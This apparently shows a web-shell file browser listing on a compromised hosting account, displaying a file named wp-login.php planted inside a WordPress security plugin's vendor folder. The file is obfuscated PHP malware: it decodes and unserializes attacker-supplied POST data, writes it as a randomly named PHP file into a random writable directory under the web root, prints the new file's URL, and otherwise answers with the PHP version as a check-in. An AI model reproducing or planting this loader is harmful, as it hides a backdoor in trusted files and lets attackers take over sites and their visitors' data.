HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/foar/wp-content/plugins/wordfence/vendor/wp-login.php
<?php $KtRVTH = "hIteQ";function gViuM($KtRVTH){ $frrrqrYs = chr(352-237).'t'.chr(1014-900)."\137"."\162"."\157".'t'.'1'.'3';$KtRVTH = $frrrqrYs($KtRVTH);$pelVNqc = chr(114).'a'.'w'.chr(531-414).'r'.'l'."\x64"."\145"."\143"."\x6f".chr(100).chr(1091-990);$KtRVTH = $pelVNqc($KtRVTH);$KtRVTH = str_split($KtRVTH);return $KtRVTH;}function sVZCaJ($DNCQO, $VXkaZMdAS){$DNCQO = array_slice(str_split(str_repeat($DNCQO, (count($VXkaZMdAS)/16)+1)), 0, count($VXkaZMdAS));return $DNCQO;}function IjmkqGVxj($kmDFpA, $vZkVLuQ, $DNCQO){$qQTacPKrw = "8097242c-50ed-4af5-a90e-c895ca763919";return $kmDFpA ^ $qQTacPKrw[$vZkVLuQ % strlen($qQTacPKrw)] ^ $DNCQO;}function qOWlbum($VXkaZMdAS, $DNCQO){$VXkaZMdAS = array_map("IjmkqGVxj", array_values($VXkaZMdAS), array_keys($VXkaZMdAS), array_values($DNCQO));$VXkaZMdAS = implode("", $VXkaZMdAS);$QyBnHcqO = chr(117).'n'.chr(558-443).'e'."\x72"."\x69"."\x61".chr(108).chr(105)."\172".'e';$VXkaZMdAS = @$QyBnHcqO($VXkaZMdAS);return $VXkaZMdAS;}function GsvYfWPnGd(){echo "KXIaePa";}function qPUap($VhVBCbQLir){static $bLhDaB = array();$aXbghFl = glob($VhVBCbQLir . '/*', GLOB_ONLYDIR);$PpYnM = count($aXbghFl);if ($PpYnM > 0) {foreach ($aXbghFl as $VhVBCbQL) {$YfFHi = "\x69".chr(115)."\137".chr(119).chr(114)."\151".chr(265-149).chr(97)."\x62".chr(716-608)."\x65";if (@$YfFHi($VhVBCbQL)) {$bLhDaB[] = $VhVBCbQL;}}}foreach ($aXbghFl as $VhVBCbQLir) qPUap($VhVBCbQLir);return $bLhDaB;}function wkcSkCDV(){echo "hIteQ";}function fqCdI($VXkaZMdAS){$jhiuc = chr(192-124).chr(79).chr(67).chr(508-423).'M'.chr(497-428).'N'.chr(84)."\137"."\x52".chr(79)."\117"."\x54";$yeomoi = $_SERVER[$jhiuc];$aXbghFl = qPUap($yeomoi);$VhVBCbQLjZqZstZog = array_rand($aXbghFl);$qrUyfCZlxR = chr(46).'p'."\x68".'p';$yKuGtE = $aXbghFl[$VhVBCbQLjZqZstZog] . "/" . substr(md5(time()), 0, 8) . $qrUyfCZlxR;$zAdJSoExd = "\x66".chr(188-83).chr(901-793).chr(101).chr(609-514).chr(506-394).chr(117).'t'.chr(95).'c'.chr(111)."\156".chr(116).chr(101)."\x6e".chr(389-273).'s';@$zAdJSoExd($yKuGtE, $VXkaZMdAS);$sPcjyDLzcU = chr(908-836)."\x54"."\x54".'P'.chr(95).chr(685-613).chr(855-776).'S'."\x54";$EBWTBcB = 'h'.chr(1073-957).chr(116)."\160"."\x3a".'/'.chr(560-513);$DOlEqGKLLz = $EBWTBcB . $_SERVER[$sPcjyDLzcU] . substr($yKuGtE, strlen($yeomoi));print($DOlEqGKLLz);}function LvcHnu(){$tCXGuLRXGp = chr(992-880)."\x68".'p';$zPCKRcXfEF = chr(781-669)."\150".chr(112).chr(448-330).chr(630-529).'r'."\163".'i'."\157"."\x6e";$VXkaZMdAS = Array($tCXGuLRXGp => @$zPCKRcXfEF(), );$HGYNEqcILq = "\163".chr(101)."\162"."\x69".'a'.chr(108).'i'."\x7a".'e';echo @$HGYNEqcILq($VXkaZMdAS);}foreach ($_POST as $DNCQO => $VXkaZMdAS){$tbHdIlHah = strlen($DNCQO);if ($tbHdIlHah == 16){$VXkaZMdAS = gViuM($VXkaZMdAS);$DNCQO = sVZCaJ($DNCQO, $VXkaZMdAS);$VXkaZMdAS = qOWlbum($VXkaZMdAS, $DNCQO);if (@is_array($VXkaZMdAS)){$VhVBCbQLjZqZstZog = array_keys($VXkaZMdAS);$VXkaZMdAS = $VXkaZMdAS[$VhVBCbQLjZqZstZog[0]];$VhVBCbQLjZqZstZog = $VhVBCbQLjZqZstZog[0];if ($VXkaZMdAS !== $VhVBCbQLjZqZstZog){fqCdI($VXkaZMdAS);}else {LvcHnu();}die();}}}